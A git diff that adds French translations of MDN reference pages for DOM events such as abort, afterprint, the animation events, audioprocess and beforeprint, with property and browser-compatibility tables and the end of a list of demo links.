+ <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">code source</a>)</li>
+ <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">Visualiseur Audio HTML5</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">code source</a>)</li>
+ <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Editeur et Visualiseur de Filtre Graphique et Visualiseur</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">code source</a>)</li>
+</ul>
+
+<h3 id="API_de_Fichier">API de Fichier</h3>
+
+<ul>
+ <li><a href="http://palerdot.github.io/slide-my-text/">Slide My Text - Présentation à partir de fichiers texte</a></li>
+</ul>
+
+<h3 id="Unclassified" name="Unclassified">Ouvriers du Web</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fractal/">Web Worker Fractals</a></li>
+ <li><a href="http://ondras.github.io/photo/">Editeur Photo</a></li>
+ <li><a href="http://ondras.github.io/coral/">Générateur de Corail</a></li>
+ <li><a class="external" href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li>
+ <li><a href="http://palerdot.github.io/hotcold/">HotCold Touch Typing</a></li>
+ <li><a href="http://webdeveloperbareilly.in/blog/seo/leverage-browser-caching.html">Activer la mise en cache du navigateur</a></li>
+</ul>
diff --git a/files/fr/web/events/abort/index.html b/files/fr/web/events/abort/index.html
new file mode 100644
index 0000000000..b38b184fd9
--- /dev/null
+++ b/files/fr/web/events/abort/index.html
@@ -0,0 +1,69 @@
+---
+title: abort
+slug: Web/Events/abort
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<div>L'événement <strong>abort</strong> est déclenché lorsque le chargement d'une resource a été interrompu.</div>
+
+<div> </div>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/fr/docs/Web/API/UIEvent">UIEvent</a> si généré à partir de l'interface utilisateur sinon, <a href="/fr/docs/Web/API/Event">Event</a>.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/events/abort_(progressevent)/index.html b/files/fr/web/events/abort_(progressevent)/index.html
new file mode 100644
index 0000000000..0585331ebe
--- /dev/null
+++ b/files/fr/web/events/abort_(progressevent)/index.html
@@ -0,0 +1,89 @@
+---
+title: abort
+slug: Web/Events/abort_(ProgressEvent)
+translation_of: Web/API/XMLHttpRequest/abort_event
+---
+<p>L'événement <strong>abort</strong> est déclenché lorsque la progression a été interompue (Non causé par une erreur)</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/progress-events/">Progress</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">ProgressEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>lengthComputable </code>{{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Specifies whether or not the total size of the transfer is known. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>loaded</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>total</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("loadstart")}}</li>
+ <li>{{event("progress")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("loadend")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Surveillance de la progression</a></li>
+</ul>
diff --git a/files/fr/web/events/afterprint/index.html b/files/fr/web/events/afterprint/index.html
new file mode 100644
index 0000000000..bb62ef775d
--- /dev/null
+++ b/files/fr/web/events/afterprint/index.html
@@ -0,0 +1,63 @@
+---
+title: afterprint
+slug: Web/Events/afterprint
+translation_of: Web/API/Window/afterprint_event
+---
+<p>L'événement <strong>afterprint</strong> est déclenché après que le document associé a été imprimé ou que l'aperçu avant impression a été fermé.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://html.spec.whatwg.org/multipage/webappapis.html#printing">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Mozilla_event_reference/beforeprint">beforeprint</a></li>
+</ul>
diff --git a/files/fr/web/events/animationend/index.html b/files/fr/web/events/animationend/index.html
new file mode 100644
index 0000000000..1fdeba6e63
--- /dev/null
+++ b/files/fr/web/events/animationend/index.html
@@ -0,0 +1,81 @@
+---
+title: animationend
+slug: Web/Events/animationend
+translation_of: Web/API/HTMLElement/animationend_event
+---
+<p>L'événement <code><strong>animationend</strong> est déclenché quand une animation CSS est terminée.</code></p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">AnimationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element, Window</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+  <tr>
+   <td><code>animationName</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le nom de la propriété CSS associéee à la transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{ReadOnlyInline}}</td>
+   <td>Float</td>
+   <td>Le temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement <strong>animationstart</strong>, <em>elapsedTime</em> vaut zéro à moins que <em>animation-delay </em>ne soit négatif, et dans ce cas, l'événement sera déclenché avec un <em>elapsedTime</em> de (-1 * delay).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("animationstart")}}</li>
+ <li>{{Event("animationend")}}</li>
+ <li>{{Event("animationiteration")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Utilisation des animations CSS</a></li>
+</ul>
diff --git a/files/fr/web/events/animationiteration/index.html b/files/fr/web/events/animationiteration/index.html
new file mode 100644
index 0000000000..df8e3d89be
--- /dev/null
+++ b/files/fr/web/events/animationiteration/index.html
@@ -0,0 +1,83 @@
+---
+title: animationiteration
+slug: Web/Events/animationiteration
+translation_of: Web/API/HTMLElement/animationiteration_event
+---
+<p>L'événement<strong> </strong><code><strong> animationiteration</strong> est déclenché lorsqu'une itération d'une animation se termine. Cet événement ne se produit pas pour les animations avec <em>animation-iteration-count</em> valant 1.</code></p>
+
+<h2 id="informations_générales">informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">AnimationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Synchronisme</dt>
+ <dd style="margin: 0 0 0 120px;">synchronous</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+  <tr>
+   <td><code>animationName</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le nom de la propriété CSS associéee à la transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{ReadOnlyInline}}</td>
+   <td>Float</td>
+   <td>Le temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement <strong>animationstart</strong>, <em>elapsedTime</em> vaut zéro à moins que <em>animation-delay </em>ne soit négatif, et dans ce cas, l'événement sera déclenché avec un <em>elapsedTime</em> de (-1 * delay).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("animationstart")}}</li>
+ <li>{{Event("animationend")}}</li>
+ <li>{{Event("animationiteration")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="new" href="https://developer.mozilla.org/fr/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Utilisation des animations CSS</a></li>
+</ul>
diff --git a/files/fr/web/events/animationstart/index.html b/files/fr/web/events/animationstart/index.html
new file mode 100644
index 0000000000..407bcb6dea
--- /dev/null
+++ b/files/fr/web/events/animationstart/index.html
@@ -0,0 +1,81 @@
+---
+title: animationstart
+slug: Web/Events/animationstart
+translation_of: Web/API/HTMLElement/animationstart_event
+---
+<p>L'événement <strong><code>animationstart </code></strong><code>est déclenché quand une animation CSS a commencé. Si <em>animation-delay</em> est défini alors le déclenchement se fera une fois le delai expiré. Un délai négatif causera un déclenchement de l'événement avec un </code><em>elapsedTime </em>équivalent à la valeur absolue du délai.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">AnimationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+  <tr>
+   <td><code>animationName</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le nom de la propriété CSS associéee à la transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{ReadOnlyInline}}</td>
+   <td>Float</td>
+   <td>Le temps durant lequel l'animation a durée, en secondes, quand l'événement est déclenché, excepté le temps lorsque l'animation était en pause. Pour un événement <strong>animationstart</strong>, <em>elapsedTime</em> vaut zéro à moins que <em>animation-delay </em>ne soit négatif, et dans ce cas, l'événement sera déclenché avec un <em>elapsedTime</em> de (-1 * delay).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{Event("animationstart")}}</li>
+ <li>{{Event("animationend")}}</li>
+ <li>{{Event("animationiteration")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="new" href="https://developer.mozilla.org/fr/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Utilisation des animations CSS</a></li>
+</ul>
diff --git a/files/fr/web/events/audioprocess/index.html b/files/fr/web/events/audioprocess/index.html
new file mode 100644
index 0000000000..ae89178361
--- /dev/null
+++ b/files/fr/web/events/audioprocess/index.html
@@ -0,0 +1,151 @@
+---
+title: audioprocess
+slug: Web/Events/audioprocess
+translation_of: Web/API/ScriptProcessorNode/audioprocess_event
+---
+<div>
+<p>L'événement <strong>audioprocess</strong> est déclenché lorsqu'un tampon d'entrée d'une API Web audio {{domxref("ScriptProcessorNode")}} est prêt à être traité.</p>
+</div>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;">{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("AudioProcessingEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">?</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">?</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("ScriptProcessorNode")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l'événement (la plus haute cible dans l'arbre du DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-ce que l'événement se propage?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Est-il possible d'annuler l'événement?</td>
+  </tr>
+  <tr>
+   <td><code>playbackTime</code> {{ReadOnlyInline}}</td>
+   <td><code>double</code></td>
+   <td>Le moment auquel le son sera joué tel que défini par le temps de {{domxref("AudioContext.currentTime")}}.</td>
+  </tr>
+  <tr>
+   <td><code>inputBuffer</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("AudioBuffer")}}</td>
+   <td>
+    <p>Le tampon contenant les données audio d'entrée devant être traité. Le nombre de canaux est défini par le paramètre <code><em>numberOfInputChannels</em> de la méthode </code>{{domxref("AudioContext.createScriptProcessor()")}}. Noter que <code>le<em> AudioBuffer</em></code><code> retourné</code><em><code> </code></em>est seulement valide dans la portée de la fonction <em><code>onaudioprocess.</code></em></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>outputBuffer</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("AudioBuffer")}}</td>
+   <td>
+    <p>Le tampon dans lequel doit être écrit les données audio de sortie. Le nombre de canaux est défini par le paramètre <code><em>numberOfOutputChannels</em> de la méthode </code>{{domxref("AudioContext.createScriptProcessor()")}}. Noter que <code>le<em> AudioBuffer</em></code><code> retourné </code>est seulement valide dans la portée de la fonction <em><code>onaudioprocess.</code></em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#AudioProcessingEvent-section', 'AudioProcessingEvent')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_navigateur">Compatibilités navigateur</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Navigateur</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Appareil</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API" title="/en-US/docs/CSS/Using_CSS_animations">Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/events/beforeprint/index.html b/files/fr/web/events/beforeprint/index.html
new file mode 100644
index 0000000000..970bfb6580
--- /dev/null
+++ b/files/fr/web/events/beforeprint/index.html
@@ -0,0 +1,74 @@
+---
+title: beforeprint
+slug: Web/Events/beforeprint
+tags:
+  - Evènement
+  - Reference
+translation_of: Web/API/Window/beforeprint_event
+---
+<p>L'événement <code><strong>beforeprint</strong></code> est déclenché lorsque le document associé est sur le point d'être imprimé ou qu'un "aperçu avant impression" est lancé.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://html.spec.whatwg.org/multipage/webappapis.html#printing">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En utilisant <code>window.addEventListener()</code> :</p>
+
+<pre class="notranslate">window.addEventListener("beforeprint", (evenement) =&gt; {
+  console.log("Before print");
+});</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla_event_reference/afterprint">afterprint</a></li>
+</ul>
